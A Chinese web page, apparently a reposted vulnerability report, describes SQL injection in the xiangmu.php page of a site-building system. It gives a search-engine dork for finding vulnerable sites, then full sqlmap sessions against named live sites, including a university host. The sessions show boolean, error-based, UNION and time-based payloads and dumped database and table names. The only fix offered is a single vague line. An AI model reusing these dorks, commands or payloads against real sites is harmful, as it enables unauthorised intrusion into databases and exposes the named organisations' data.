网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

某通用型建站系统某处SQL注射漏洞 - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:08 作者:xxadmin 阅读:

[导读] 某通用型建站系统某处SQL注射 漏洞 1、建站程序类型:php+mysql 2、漏洞类型:SQL注入 3、缺陷文件:xiangmu.php 4、注入参数: 5、危害程度:中等(泄及大量edu清华大学躺枪) 6、涉及厂商:...

某通用型建站系统某处SQL注射漏洞

1、建站程序类型:php+mysql

2、漏洞类型:SQL注入

3、缺陷文件:xiangmu.php

4、注入参数:

5、危害程度:中等(泄及大量edu清华大学躺枪)

6、涉及厂商:北京祥云时代科技有限公司

7、厂商网站:http://www.8eee.org/

8、安装量:中等

9、是否拥有源代码:无

10、关键字:inurl:xiangmu.php?id=

提供搜索地址:http://74.125.227.77/search?q=inurl:xiangmu.php%3Fid%3D&newwindow=1&ei=sgnmU-qQLqfW8AHe8oHIBw&start=0&sa=N&biw=1362&bih=734


[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=56
9"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 15:17:12

[15:17:12] [INFO] resuming back-end DBMS 'mysql'
[15:17:12] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=426 AND 4483=4483

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=426 AND SLEEP(5)
---
[15:17:13] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:17:13] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:17:13] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'

[*] shutting down at 15:17:13

[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=56
9" --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 15:17:22

[15:17:22] [INFO] resuming back-end DBMS 'mysql'
[15:17:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=426 AND 4483=4483

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=426 AND SLEEP(5)
---
[15:17:22] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:17:22] [INFO] fetching database names
[15:17:22] [INFO] fetching tables for databases: 'information_schema, tcztb'
Database: tcztb
[21 tables]
+---------------------------------------+
| admin_authority                       |
| admin_login                           |
| admininfo                             |
| advanced                              |
| big_class                             |
| count                                 |
| files                                 |
| info                                  |
| information1                          |
| ip                                    |
| message                               |
| sec_class                             |
| third_class                           |
| user_hj                               |
| user_xm                               |
| user_xx                               |
| user_xz                               |
| user_yj                               |
| user_zl                               |
| user_zs                               |
| user_zz                               |
+---------------------------------------+

Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

[15:17:23] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:17:23] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'

[*] shutting down at 15:17:23
——————————————————————————————————————————————————
第二个案例
[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=42
"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 15:18:26

[15:18:26] [INFO] resuming back-end DBMS 'mysql'
[15:18:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=426 AND 4483=4483

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=426 AND SLEEP(5)
---
[15:18:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:18:26] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:18:26] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'

[*] shutting down at 15:18:26

[root@Hacker~]# Sqlmap sqlmap -u "http://www.tcztb.com/huiyuan/xiangmu.php?id=42
" --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 15:18:30

[15:18:30] [INFO] resuming back-end DBMS 'mysql'
[15:18:30] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=426 AND 4483=4483

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=426 AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x3a6165783a,(S
ELECT (CASE WHEN (7233=7233) THEN 1 ELSE 0 END)),0x3a716d633a,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: id=426 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a6165
783a,0x6b785a7143776c46415a,0x3a716d633a), NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=426 AND SLEEP(5)
---
[15:18:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:18:31] [INFO] fetching database names
[15:18:31] [INFO] fetching tables for databases: 'information_schema, tcztb'
Database: tcztb
[21 tables]
+---------------------------------------+
| admin_authority                       |
| admin_login                           |
| admininfo                             |
| advanced                              |
| big_class                             |
| count                                 |
| files                                 |
| info                                  |
| information1                          |
| ip                                    |
| message                               |
| sec_class                             |
| third_class                           |
| user_hj                               |
| user_xm                               |
| user_xx                               |
| user_xz                               |
| user_yj                               |
| user_zl                               |
| user_zs                               |
| user_zz                               |
+---------------------------------------+

Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

[15:18:31] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:18:31] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.tcztb.com'

[*] shutting down at 15:18:31
———————————————————————————————————————————————————
第三个案例
[root@Hacker~]# Sqlmap sqlmap -u "http://ee.nedu.edu.cn:8088/dianqikongzhi/ifram
e/xiangmu.php?id=6"

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 15:19:33

[15:19:33] [INFO] resuming back-end DBMS 'mysql'
[15:19:33] [INFO] testing connection to the target url
[15:19:34] [WARNING] there is a DBMS error found in the HTTP response body which
 could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=6 AND 7436=7436

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=6 AND (SELECT 6329 FROM(SELECT COUNT(*),CONCAT(0x3a7a61723a,(SEL
ECT (CASE WHEN (6329=6329) THEN 1 ELSE 0 END)),0x3a7071723a,FLOOR(RAND(0)*2))x F
ROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: id=6 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(0x3a
7a61723a,0x496f43784c754f6d794d,0x3a7071723a), NULL, NULL, NULL, NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=6 AND SLEEP(5)
---
[15:19:34] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[15:19:34] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:19:34] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\ee.nedu.edu.cn'

[*] shutting down at 15:19:34
[root@Hacker~]# Sqlmap sqlmap -u "http://ee.nedu.edu.cn:8088/dianqikongzhi/ifram
e/xiangmu.php?id=6" --dbs


    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program


[*] starting at 15:19:52


[15:19:52] [INFO] resuming back-end DBMS 'mysql'
[15:19:52] [INFO] testing connection to the target url
[15:19:53] [WARNING] there is a DBMS error found in the HTTP response body which
 could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=6 AND 7436=7436


    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=6 AND (SELECT 6329 FROM(SELECT COUNT(*),CONCAT(0x3a7a61723a,(SEL
ECT (CASE WHEN (6329=6329) THEN 1 ELSE 0 END)),0x3a7071723a,FLOOR(RAND(0)*2))x F
ROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)


    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: id=6 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(0x3a
7a61723a,0x496f43784c754f6d794d,0x3a7071723a), NULL, NULL, NULL, NULL#


    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=6 AND SLEEP(5)
---
[15:19:53] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[15:19:53] [INFO] fetching database names
[15:19:53] [INFO] the SQL query used returns 9 entries
[15:19:53] [INFO] resumed: "information_schema"
[15:19:53] [INFO] resumed: "bbs"
[15:19:53] [INFO] resumed: "dianqikongzhi"
[15:19:53] [INFO] resumed: "ee_feng"
[15:19:53] [INFO] resumed: "experiment"
[15:19:53] [INFO] resumed: "jidianbaohujingpinke"
[15:19:53] [INFO] resumed: "mysql"
[15:19:53] [INFO] resumed: "phpcmsv9"
[15:19:53] [INFO] resumed: "ultrax"
available databases [9]:
[*] bbs
[*] dianqikongzhi
[*] ee_feng
[*] experiment
[*] information_schema
[*] jidianbaohujingpinke
[*] mysql
[*] phpcmsv9
[*] ultrax


[15:19:53] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:19:53] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\ee.nedu.edu.cn'


[*] shutting down at 15:19:53

 

解决方案:

加强SQL注入保护,过滤

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论